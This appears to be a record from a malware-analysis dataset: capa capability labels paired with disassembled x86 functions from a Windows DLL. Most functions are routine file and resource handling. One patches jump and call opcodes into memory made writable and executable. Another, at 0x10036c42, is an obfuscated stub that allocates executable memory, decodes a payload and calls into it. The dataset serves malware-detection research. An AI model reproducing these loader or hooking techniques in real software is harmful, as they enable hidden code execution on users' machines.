joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009b2b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov ecx, 0x10033ec1
call fcn.10010b91
push dword [ebp + 8]
and dword [ebp - 0xc], 0
lea ecx, [ebp - 1]
call fcn.10008df4
mov edi, dword [ebp + 0x14]
mov ebx, eax
add edi, ebx
mov dword [ebp - 8], ebx
push 0x10027478
push edi
call fcn.10011006
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10009c59
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
sub ecx, ebx
mov ebx, dword [ebp + 0xc]
sub ecx, ebx
cmp eax, 1
je 0x10009b87
push 2
pop edx
cmp eax, edx
jne 0x10009b8a
xor edx, edx
inc edx
dec eax
cmp eax, 0xd
ja case.default.0x10009b90
jmp dword [eax*4 + 0x10009c63]
mov byte [esi], 0xe9
jmp case.default.0x10009b90
mov byte [esi], 0xe8
jmp case.default.0x10009b90
mov word [esi], 0x840f
jmp case.default.0x10009b90
mov word [esi], 0x850f
jmp case.default.0x10009b90
mov word [esi], 0x8c0f
jmp case.default.0x10009b90
mov word [esi], 0x8d0f
jmp case.default.0x10009b90
mov word [esi], 0x8e0f
jmp case.default.0x10009b90
mov word [esi], 0x8f0f
jmp case.default.0x10009b90
mov word [esi], 0x820f
jmp case.default.0x10009b90
mov word [esi], 0x830f
jmp case.default.0x10009b90
mov word [esi], 0x860f
jmp case.default.0x10009b90
mov word [esi], 0x870f
mov eax, dword [ebp + 0x14]
mov dword [edx + esi], ecx
test eax, eax
je 0x10009c03
push eax
mov eax, dword [ebp - 8]
add eax, esi
push 0x90
push eax
call fcn.100119b0
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
call edi
test eax, eax
je 0x10009c59
mov eax, dword [ebp - 8]
add eax, dword [ebp + 0x14]
push eax
push esi
push ebx
call fcn.10011c00
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
mov eax, dword [ebp - 8]
add eax, dword [ebp + 0x14]
push eax
push ebx
call edi
test eax, eax
je 0x10009c59
mov eax, dword [ebp - 8]
add eax, dword [ebp + 0x14]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push esi
call fcn.10010c32
pop ecx
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x1000a680
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov ecx, 0x10033ec1
call fcn.10010b91
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 4]
and dword [ebp - 4], 0
push eax
push 0x40
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000a6d0
test esi, esi
je 0x1000a6bf
push esi
push 0x90
push dword [ebp + 8]
call fcn.100119b0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
leave
ret 8

Function at 0x1000cd1e
Capabilities:
Allocate or change rwx memory

Disassembly:
push 8
push 0x1002d3e0
call fcn.10011010
mov ecx, 0x10034205
call fcn.10010b91
and dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
sub eax, 0
je 0x1000cde1
sub eax, 1
jne 0x1000cdf7
lea eax, [ebp + 0xc]
push eax
push 0x40
mov ebx, 0x1effff
push ebx
mov edi, 0x401000
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.10001360
call fcn.100015bb
call fcn.100017c3
call fcn.10009c9d
push 0x5d3418
push 0x5d33fd
call fcn.10009111
push 0x5d3434
push 0x5d3419
call fcn.10009111
push 0x5d344c
push 0x5d3435
call fcn.10009111
push 4
push 0x100057e6
push 0x46b55f
call fcn.10009139
push 2
push 0x10005818
push 0x4b242e
call fcn.10009139
add esp, 0x30
call fcn.10008e3c
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1000cdf7
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1000cdf7
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x100228d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100228fd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100228fd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1002493d
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push 0x48
mov eax, 0x1008570e
call fcn.10063f44
mov esi, ecx
mov ecx, dword [esi + 0x30]
test ecx, ecx
jne 0x1002495c
mov eax, 0x80004005
jmp 0x10024a90
mov ebx, dword [ebp + 0xc]
push ebx
call fcn.10036c42
push ebx
push dword [ebp + 8]
mov ecx, esi
call fcn.10022781
test eax, eax
jne 0x10024a90
push 0xa
pop ecx
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x10], 0xc8
mov dword [ebp - 0x54], 1
call fcn.10036c42
xor edi, edi
cmp dword [esi + 0x27c4], edi
je 0x100249cc
mov ecx, dword [esi + 0x30]
cmp dword [ecx + 0x5bc], edi
je 0x100249cc
call fcn.1001bd83
mov ecx, dword [esi + 0x27c4]
push eax
call fcn.10036c42
xor eax, eax
mov word [esi + 0x78], ax
push edi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
mov eax, dword [esi + 0x30]
push dword [eax + 0x484]
mov ecx, esi
call fcn.100229fb
mov edi, eax
xor eax, eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x4000
test edi, edi
jne 0x10024a35
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, esi
call fcn.10023df6
mov edi, eax
test edi, edi
jne 0x10024a35
lea eax, [ebp - 0x2c]
push eax
mov ecx, esi
call fcn.10024360
mov edi, eax
test edi, edi
jne 0x10024a35
mov ecx, esi
call fcn.10024591
mov edi, eax
mov ecx, esi
call fcn.10024616
test edi, edi
jne 0x10024a70
mov eax, dword [esi + 0x30]
mov ecx, dword [eax + 0x628]
test ecx, ecx
je 0x10024a59
push dword [esi + 0x1018]
push ebx
call fcn.10036c42
push ebx
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10024a70
or eax, 2
push eax
push ebx
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
cmp dword [ebp - 0x2c], 0
je 0x10024a7f
push dword [ebp - 0x2c]
call fcn.10036c42
pop ecx
cmp dword [ebp - 0x1c], 0
je 0x10024a8e
push dword [ebp - 0x1c]
call fcn.10036c42
pop ecx
mov eax, edi
call fcn.1006401c
ret 8
Function at 0x1003121b
Capabilities:
Get graphical window text

Disassembly:
push 0x14
mov eax, 0x10085f3a
call fcn.10063fad
mov edi, ecx
push 0
call dword [sym.imp.ole32.dll_OleInitialize]
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
lea eax, [esi*2 + 2]
call fcn.10064635
mov ecx, esp
lea eax, [esi + 1]
push eax
push ecx
push dword [edi + 4]
mov dword [ebp - 0x20], ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x10001964
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov eax, dword [ebp + 0x10]
and dword [ebp - 0x1c], 0
xor esi, esi
test eax, eax
je 0x1003127f
mov eax, dword [eax]
test eax, eax
je 0x1003127f
movzx esi, word [eax]
push esi
push 0x42
call dword [sym.imp.kernel32.dll_GlobalAlloc]
xor ecx, ecx
mov ebx, eax
mov dword [ebp - 0x14], ecx
and dword [ebp - 4], ecx
test ebx, ebx
je 0x100312cb
test esi, esi
je 0x100312cb
push ebx
call dword [sym.imp.kernel32.dll_GlobalLock]
mov ecx, dword [ebp + 0x10]
mov ecx, dword [ecx]
add ecx, 2
push esi
push ecx
push eax
call fcn.10036c42
add esp, 0xc
push ebx
call dword [sym.imp.kernel32.dll_GlobalUnlock]
lea eax, [ebp - 0x14]
push eax
push 1
push ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov ecx, dword [ebp - 0x14]
xor ebx, ebx
mov dword [ebp - 0x18], ebx
push ebx
push ebx
push 0x10008de8
push ebx
lea eax, [ebp - 0x18]
push eax
push ecx
push dword [edi + 4]
mov ecx, edi
push dword [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.100314e2
test eax, eax
jns 0x1003131b
mov eax, dword [ebp - 0x18]
mov byte [ebp - 4], bl
test eax, eax
je 0x10031302
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0x14]
or dword [ebp - 4], 0xffffffff
test ecx, ecx
je 0x10031313
mov edx, dword [ecx]
push ecx
call dword [edx + 8]
or eax, 0xffffffff
jmp 0x100313c7
mov esi, dword [ebp - 0x18]
mov eax, dword [esi]
lea ecx, [ebp - 0x1c]
push ecx
push 0x10001f44
push esi
call dword [eax]
test eax, eax
jns 0x1003134c
mov eax, dword [esi]
push esi
mov byte [ebp - 4], bl
call dword [eax + 8]
mov eax, dword [ebp - 0x14]
or dword [ebp - 4], 0xffffffff
test eax, eax
je 0x10031313
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x10031313
push dword [ebp - 0x1c]
mov ebx, dword [sym.imp.USER32.dll_SetWindowLongW]
push 0xffffffffffffffeb
push dword [edi + 4]
call ebx
push 0xffffffffffffffec
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x10000
push eax
push 0xffffffffffffffec
push dword [edi + 4]
call ebx
push 5
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
je 0x100313a1
push 0xffffffffffffffec
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, 0x10000
test ecx, eax
jne 0x100313a1
or eax, ecx
push eax
push 0xffffffffffffffec
push dword [edi + 4]
call ebx
mov eax, dword [ebp + 0x14]
mov dword [eax], 1
mov eax, dword [esi]
push esi
mov byte [ebp - 4], 0
call dword [eax + 8]
mov eax, dword [ebp - 0x14]
or dword [ebp - 4], 0xffffffff
test eax, eax
je 0x100313c5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
lea esp, [ebp - 0x30]
call fcn.10064030
ret 0x10
Function at 0x10036c42
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x10036c51
pop dword [ebp - 0x28]
mov eax, 0x10036c51
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x57c0d
push 0
mov eax, 0x675a48c8
sub eax, 0x575a37f4
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x29ffc386
sub ecx, 0x29ff7a1d
xor edx, edx
add edx, eax
mov ebx, 0x969feb35
add ebx, 0x796ed2cb
add ebx, dword [ebp - 0x28]
mov edi, 0xe916f97e
add edi, 0x8fdabf27
xor dword [ebp - 0x14], 0x4a7fd316
mov esi, dword [ebx]
sub esi, edi
add dword [ebp - 8], eax
mov dword [edx], esi
mov dword [ebp - 4], 0xd3fc786e
add edx, 0x1d369e04
sub edx, 0x1d369e00
add ebx, 0xba7e7b2e
add ebx, 0x458184d6
loop 0x10036cad
add eax, 0xd614a5d
sub eax, 0xd6031e6
mov ebx, eax
add eax, 5
mov ecx, 0xbca6055d
add ecx, 0x5359faa3
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10039725
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push 4
mov eax, 0x100864f4
call fcn.10063f44
mov esi, ecx
mov ecx, dword [esi + 0x298]
test ecx, ecx
jne 0x10039744
xor eax, eax
jmp 0x100398e5
lea ebx, [esi + 0x2c4]
xor edi, edi
cmp word [ebx], di
jne 0x1003976d
push 0x10003264
lea eax, [esi + 0x84]
push eax
push 0x10003270
push 0x104
push ebx
call fcn.10036c42
mov ecx, dword [esi + 0x298]
push ebx
call fcn.10036c42
push 0x318
mov dword [esi + 0x2bc], edi
call fcn.10036c42
pop ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], edi
test eax, eax
je 0x1003979d
mov ecx, eax
call fcn.1007b0e6
mov edi, eax
or dword [ebp - 4], 0xffffffff
test edi, edi
je 0x1003973d
push ebx
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100397bc
and eax, 0xfffffffd
push eax
push ebx
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov ecx, edi
call fcn.1007b15c
mov ecx, edi
test eax, eax
je 0x100397da
call fcn.1007b102
push edi
call fcn.10036c42
pop ecx
jmp 0x1003973d
push 0
push ebx
call fcn.10036c42
test eax, eax
je 0x100397ea
mov ecx, edi
jmp 0x100397c9
push 0xc
call fcn.10036c42
pop ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 1
test eax, eax
je 0x10039809
mov ecx, eax
call fcn.10024aee
jmp 0x1003980b
xor eax, eax
or dword [ebp - 4], 0xffffffff
cmp dword [esi + 4], 0
mov dword [esi + 0x4cc], eax
push edi
mov ecx, esi
je 0x10039825
call fcn.10036c42
jmp 0x1003982a
call fcn.10036c42
test eax, eax
je 0x100397e6
cmp dword [esi + 0x4cc], 0
je 0x1003986d
mov ecx, dword [esi + 0x298]
cmp dword [ecx + 0x5bc], 0
je 0x10039857
call fcn.1001bd83
mov ecx, dword [esi + 0x4cc]
push eax
call fcn.10036c42
mov eax, dword [esi + 0x278]
test eax, eax
je 0x1003986d
mov ecx, dword [esi + 0x4cc]
push eax
call fcn.10036c42
push edi
mov ecx, esi
call fcn.10036c42
mov ecx, edi
call fcn.1007b2ed
mov ecx, edi
call fcn.1007b102
push edi
call fcn.10036c42
pop ecx
push ebx
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100398a1
or eax, 2
push eax
push ebx
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, dword [esi + 0x298]
mov ecx, dword [eax + 0x628]
test ecx, ecx
je 0x100398bd
push dword [esi + 0x2b8]
push ebx
call fcn.10036c42
mov edi, dword [esi + 0x4cc]
test edi, edi
je 0x100398d5
mov ecx, edi
call fcn.10024b14
push edi
call fcn.10036c42
pop ecx
and dword [esi + 0x4cc], 0
xor eax, eax
inc eax
mov dword [esi + 0x294], eax
call fcn.1006401c
ret
Function at 0x1004a40a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x100873cd
call fcn.10063fe3
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x41c], edx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x418], ebx
push 2
push ebx
push eax
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1004a46b
call fcn.1002c67a
mov esi, eax
jmp 0x1004a543
push dword [ebp - 0x41c]
push esi
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x1004a489
call fcn.1002c67a
jmp 0x1004a53a
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
test eax, eax
je 0x1004a47f
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
mov dword [ebp - 0x41c], esi
cmp eax, esi
jae 0x1004a4bc
mov esi, 0x8007000e
jmp 0x1004a53c
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.10036c42
mov dword [ebp - 4], 1
jmp 0x1004a4f0
cmp dword [ebp - 0x418], 0
je 0x1004a4b2
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x420]
push ebx
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x1004a47f
mov eax, dword [ebp - 0x418]
push dword [ebp + 0x14]
xor edx, edx
mov word [eax + ecx*2], dx
push dword [ebp - 0x418]
lea ecx, [ebp - 0x42c]
call fcn.10036c42
mov esi, eax
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1004a55c
lea ecx, [ebp - 0x418]
call fcn.1004a63d
mov eax, esi
call fcn.1006403c
ret 0x10
Function at 0x10063241
Capabilities:
Accept command line arguments

Disassembly:
push 8
push 0x10093b08
call fcn.10068f85
mov eax, dword [ebp + 0xc]
cmp eax, 1
jne 0x100632cf
call fcn.10068f53
test eax, eax
jne 0x10063265
xor eax, eax
jmp 0x1006339b
call fcn.10068335
test eax, eax
jne 0x10063275
call fcn.10068f71
jmp 0x1006325e
call fcn.10068f07
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x100a2ed4], eax
call fcn.10036c42
mov dword [0x100a0e2c], eax
call fcn.10036c42
test eax, eax
jns 0x1006329f
call fcn.1006800e
jmp 0x1006326e
call fcn.10036c42
test eax, eax
js 0x100632c8
call fcn.10068b3f
test eax, eax
js 0x100632c8
push 0
call fcn.10036c42
pop ecx
test eax, eax
jne 0x100632c8
inc dword [0x100a0e28]
jmp 0x10063398
call fcn.10068aec
jmp 0x10063298
xor edi, edi
cmp eax, edi
jne 0x1006332e
cmp dword [0x100a0e28], edi
jle 0x1006325e
dec dword [0x100a0e28]
mov dword [ebp - 4], edi
cmp dword [0x100a119c], edi
jne 0x100632f3
call fcn.1006887a
cmp dword [ebp + 0x10], edi
jne 0x10063307
call fcn.10068aec
call fcn.1006800e
call fcn.10068f71
mov dword [ebp - 4], 0xfffffffe
call fcn.1006331a
jmp 0x10063398
cmp eax, 2
jne 0x1006338c
call fcn.10067fda
push 0x214
push 1
call fcn.10036c42
pop ecx
pop ecx
mov esi, eax
cmp esi, edi
je 0x1006325e
push esi
push dword [0x1009e504]
push dword [0x100a1178]
call dword [sym.imp.kernel32.dll_DecodePointer]
call eax
test eax, eax
je 0x10063380
push edi
push esi
call fcn.1006804f
pop ecx
pop ecx
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
mov dword [esi], eax
or dword [esi + 4], 0xffffffff
jmp 0x10063398
push esi
call fcn.10036c42
pop ecx
jmp 0x1006325e
cmp eax, 3
jne 0x10063398
push edi
call fcn.10036c42
pop ecx
xor eax, eax
inc eax
call fcn.10068fca
ret 0xc

Function at 0x10063f36
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1009e4f8]
jne fcn.100637b4
repz ret

Function at 0x1007b102
Capabilities:
Delete file

Disassembly:
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 4]
xor ebx, ebx
test ecx, ecx
je 0x1007b118
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [esi + 4], ebx
mov ecx, dword [esi]
test ecx, ecx
je 0x1007b126
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [esi], ebx
push edi
mov edi, dword [esi + 0x210]
test edi, edi
je 0x1007b145
mov ecx, edi
call fcn.1007b102
push edi
call fcn.10036c42
pop ecx
mov dword [esi + 0x210], ebx
add esi, 0x214
pop edi
cmp byte [esi], bl
je 0x1007b159
push esi
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov byte [esi], bl
pop esi
pop ebx
ret
Function at 0x1008260c
Capabilities:
Get file size
Read file via mapping

Disassembly:
push 0x28
push 0x100946d0
call fcn.10068f85
xor esi, esi
mov dword [ebp - 0x34], esi
mov edi, 0x80030002
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileSize]
mov ebx, eax
mov dword [ebp - 0x30], ebx
test ebx, ebx
je 0x10082828
push esi
push esi
push esi
push 2
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateFileMappingW]
mov dword [ebp - 0x38], eax
test eax, eax
je 0x1008281e
push esi
push esi
push esi
push 4
push eax
call dword [sym.imp.kernel32.dll_MapViewOfFile]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x1008280b
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x24]
push ecx
push eax
push ebx
push dword [ebp + 0xc]
call fcn.10036c42
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], esi
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x1c]
push ebx
push dword [ebp - 0x24]
call fcn.10036c42
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
js 0x100826e6
push dword [ebp - 0x2c]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov ebx, eax
mov dword [ebp - 0x28], ebx
test ebx, ebx
je 0x100826de
push ebx
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
push dword [ebp - 0x30]
push esi
push dword [ebp - 0x24]
call fcn.10036c42
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
jns 0x100826e6
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [ebp - 0x28], esi
jmp 0x100826e6
mov edi, 0x8007000e
mov dword [ebp - 0x20], edi
push dword [ebp - 0x1c]
call dword [sym.imp.kernel32.dll_UnmapViewOfFile]
mov dword [ebp - 4], 0xfffffffe
jmp 0x10082813
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
push dword [ebp - 0x38]
call dword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x10082838
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
jmp 0x10082838
push 0x10001964
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x28], eax
mov edi, esi
test esi, esi
je 0x1008284c
mov edi, esi
jle 0x1008284c
and edi, 0xffff
or edi, 0x80070000
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x28]
mov dword [ecx], eax
mov ecx, dword [ebp + 0x14]
test ecx, ecx
je 0x10082860
mov eax, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, edi
call fcn.10068fca
ret 0x10
Function at 0x1001fab0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x134
call fcn.10023c00
call fcn.10030140
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0xa
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 8]
call fcn.10025560
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov esp, ebp
pop ebp
ret 8

Function at 0x100201d0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x14], ecx
mov eax, dword [0x10062cf0]
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx + eax*4]
mov eax, dword [0x10062a18]
cmp eax, dword [edx + 4]
jle 0x10020225
push 0x10062a18
call fcn.10034a36
add esp, 4
cmp dword [0x10062a18], 0xffffffff
jne 0x10020225
push 0x10035e00
call fcn.10034eed
add esp, 4
push 0x10062a18
call fcn.100349e5
add esp, 4
mov ecx, dword [ebp + 8]
call fcn.10024d10
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1002028e
push 0xffffffffffffffff
push 0x10062018
mov ecx, dword [ebp + 8]
call fcn.10025130
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x10020278
mov ecx, dword [ebp - 0xc]
push ecx
push 0
lea edx, [ebp - 0x30]
push edx
mov ecx, dword [ebp + 8]
call fcn.10025d00
push eax
mov ecx, dword [ebp - 0x14]
call fcn.100201d0
lea ecx, [ebp - 0x30]
call fcn.10023b30
push 0
mov ecx, dword [ebp + 8]
call fcn.10024d10
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x18], eax
jmp 0x100202b7
mov eax, dword [ebp - 8]
and eax, 0x10
jne 0x100202aa
mov ecx, dword [ebp - 8]
and ecx, 0x400
jne 0x100202aa
mov dword [ebp - 0x10], 0
jmp 0x100202b1
mov dword [ebp - 0x10], 1
mov dl, byte [ebp - 0x10]
mov byte [ebp - 1], dl
mov esp, ebp
pop ebp
ret 4
Function at 0x10024200
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x38], 0
je 0x1002421d
mov ecx, dword [ebp - 0xc]
movzx edx, byte [ecx + 0x3e]
test edx, edx
jne 0x10024224
mov al, 1
jmp 0x10024317
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1c], edx
call fcn.1001f7d0
mov word [ebp - 2], ax
movzx eax, word [ebp - 2]
push eax
mov ecx, dword [ebp - 0xc]
call dword [ebp - 0x1c]
mov word [ebp - 4], ax
call fcn.1001f7d0
mov word [ebp - 6], ax
movzx ecx, word [ebp - 4]
push ecx
movzx edx, word [ebp - 6]
push edx
call fcn.1001f7e0
add esp, 8
movzx eax, al
test eax, eax
je 0x10024270
xor al, al
jmp 0x10024317
mov dword [ebp - 0x28], 0x20
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x38]
mov dword [ebp - 0x20], edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x4c]
push edx
mov eax, dword [ebp - 0xc]
add eax, 0x40
push eax
mov ecx, dword [ebp - 0x20]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x100242b3
cmp dword [ebp - 0x10], 1
je 0x100242ba
cmp dword [ebp - 0x10], 3
je 0x1002430a
jmp 0x10024315
mov ecx, dword [ebp - 0xc]
mov byte [ecx + 0x3e], 0
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
sub edx, eax
mov dword [ebp - 0x14], edx
je 0x100242ea
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x4c]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 1
lea ecx, [ebp - 0x4c]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x14], eax
je 0x100242ea
xor al, al
jmp 0x10024317
mov edx, dword [ebp - 0xc]
movzx eax, byte [edx + 0x3e]
test eax, eax
jne 0x100242fe
mov dword [ebp - 0x18], 1
jmp 0x10024305
mov dword [ebp - 0x18], 0
mov al, byte [ebp - 0x18]
jmp 0x10024317
mov ecx, dword [ebp - 0xc]
mov byte [ecx + 0x3e], 0
mov al, 1
jmp 0x10024317
xor al, al
mov esp, ebp
pop ebp
ret